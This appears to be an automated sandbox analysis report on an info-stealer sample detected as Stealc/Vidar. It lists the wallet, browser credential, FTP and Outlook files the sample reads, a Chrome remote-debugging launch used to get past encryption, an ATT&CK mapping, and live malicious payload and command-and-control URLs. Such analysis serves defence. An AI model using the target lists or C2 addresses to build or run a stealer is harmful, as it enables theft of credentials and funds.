Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2747228238.0000000000D44000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: et\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2747228238.0000000000D44000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: et\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2747228238.0000000000D44000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: et\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2747228238.0000000000D44000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: et\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2747228238.0000000000D44000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: et\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: C:\Users\user\Documents\HIDGCFBFBF.exe

Directory queried: C:\Users\user\Documents

Jump to behavior

Source: Yara match	File source: 00000000.00000002.2747228238.0000000000D8C000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2746505709.0000000000934000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 7296, type: MEMORYSTR

Remote Access Functionality

Attempt to bypass Chrome Application-Bound Encryption

Source: C:\Users\user\Desktop\file.exe

Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""

Yara detected Stealc

Source: Yara match	File source: 00000000.00000002.2746505709.00000000008D8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2747228238.0000000000CC1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2179491110.0000000004E40000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 7296, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 7296, type: MEMORYSTR

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB60C40 sqlite3_bind_zeroblob,	0_2_6CB60C40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB60D60 sqlite3_bind_parameter_name,	0_2_6CB60D60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA88EA0 sqlite3_clear_bindings,	0_2_6CA88EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB60B40 sqlite3_bind_value,sqlite3_bind_int64,sqlite3_bind_double,sqlite3_bind_zeroblob,	0_2_6CB60B40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA86410 bind,WSAGetLastError,	0_2_6CA86410
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA860B0 listen,WSAGetLastError,	0_2_6CA860B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA8C030 sqlite3_bind_parameter_count,	0_2_6CA8C030
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA86070 PR_Listen,	0_2_6CA86070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA8C050 sqlite3_bind_parameter_index,strlen,strncmp,strncmp,	0_2_6CA8C050
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA122D0 sqlite3_bind_blob,	0_2_6CA122D0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 22_2_00FCEC48 Concurrency::details::ContextBase::TraceContextEvent,Concurrency::details::SchedulerBase::GetInternalContext,Concurrency::details::WorkItem::ResolveToken,Concurrency::details::WorkItem::BindTo,	22_2_00FCEC48
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 22_2_00FCDF51 Concurrency::details::SchedulerBase::GetInternalContext,Concurrency::details::WorkItem::ResolveToken,Concurrency::details::WorkItem::BindTo,Concurrency::details::SchedulerBase::GetInternalContext,	22_2_00FCDF51

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	11 Native API	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	2 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 Scheduled Task/Job	1 Extra Window Memory Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	41 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	Logon Script (Windows)	12 Process Injection	3 Obfuscated Files or Information	Security Account Manager	12 File and Directory Discovery	SMB/Windows Admin Shares	1 Email Collection	1 Remote Access Software	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	1 Scheduled Task/Job	12 Software Packing	NTDS	236 System Information Discovery	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Timestomp	LSA Secrets	1 Query Registry	SSH	Keylogging	114 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	651 Security Software Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Extra Window Memory Injection	DCSync	2 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	11 Masquerading	Proc Filesystem	241 Virtualization/Sandbox Evasion	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	241 Virtualization/Sandbox Evasion	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	12 Process Injection	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\Documents\HIDGCFBFBF.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\Documents\HIDGCFBFBF.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Joe Sandbox ML
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\vcruntime140[1].dll	0%	ReversingLabs

Source	Detection	Scanner	Label
http://185.215.113.43/Zu7JuNko/index.phpAy	100%	Avira URL Cloud	malware
http://185.215.113.206/68b591d6548ec281/vcruntime140.dll0/	100%	Avira URL Cloud	malware
http://31.41.244.11/ows	100%	Avira URL Cloud	malware
http://31.41.244.11/files/6554834407/ZdGtikR.exeXYZ0123456789	100%	Avira URL Cloud	malware
http://31.41.244.11/files/6554834407/ZdGtikR.exe$0	100%	Avira URL Cloud	malware
http://31.41.244.11/files/6554834407/ZdGtikR.exep	100%	Avira URL Cloud	malware
http://31.41.244.11/files/6554834407/ZdGtikR.exe	100%	Avira URL Cloud	malware
http://31.41.244.11/kR.exeJuNko/index.php	100%	Avira URL Cloud	malware
http://31.41.244.11/files/6554834407/ZdGtikR.exe5	100%	Avira URL Cloud	malware
http://185.215.113.206/68b591d6548ec281/sqlite3.dll9	100%	Avira URL Cloud	malware
http://31.41.244.11/files/6554834407/ZdGtikR.exe:	100%	Avira URL Cloud	malware
http://185.215.113.206/68b591d6548ec281/nss3.dllW	100%	Avira URL Cloud	malware
http://185.215.113.206c4becf79229cb002.phpd2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8Kn	0%	Avira URL Cloud	safe
http://185.215.113.206/68b591d6548ec281/softokn3.dll_	100%	Avira URL Cloud	malware
http://185.215.113.206/c4becf79229cb002.php3A	100%	Avira URL Cloud	malware
http://185.215.113.206/68b591d6548ec281/nss3.dllY	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
www3.l.google.com	142.250.181.142	true	false	high
plus.l.google.com	172.217.17.78	true	false	high
play.google.com	172.217.19.238	true	false	high
www.google.com	142.250.181.100	true	false	high
ax-0001.ax-msedge.net	150.171.27.10	true	false	high
fp2e7a.wpc.phicdn.net	192.229.221.95	true	false	high
ogs.google.com	unknown	unknown	false	high
apis.google.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
http://185.215.113.206/68b591d6548ec281/softokn3.dll	false	high
http://185.215.113.206/68b591d6548ec281/vcruntime140.dll	false	high
http://185.215.113.206/	false	high
https://tse1.mm.bing.net/th?id=OADD2.10239360494466_1NE7RS5P7DA5W3Y3W&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90	false	high
https://tse1.mm.bing.net/th?id=OADD2.10239381963595_1GOKBHWMF64DQK79Y&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90	false	high
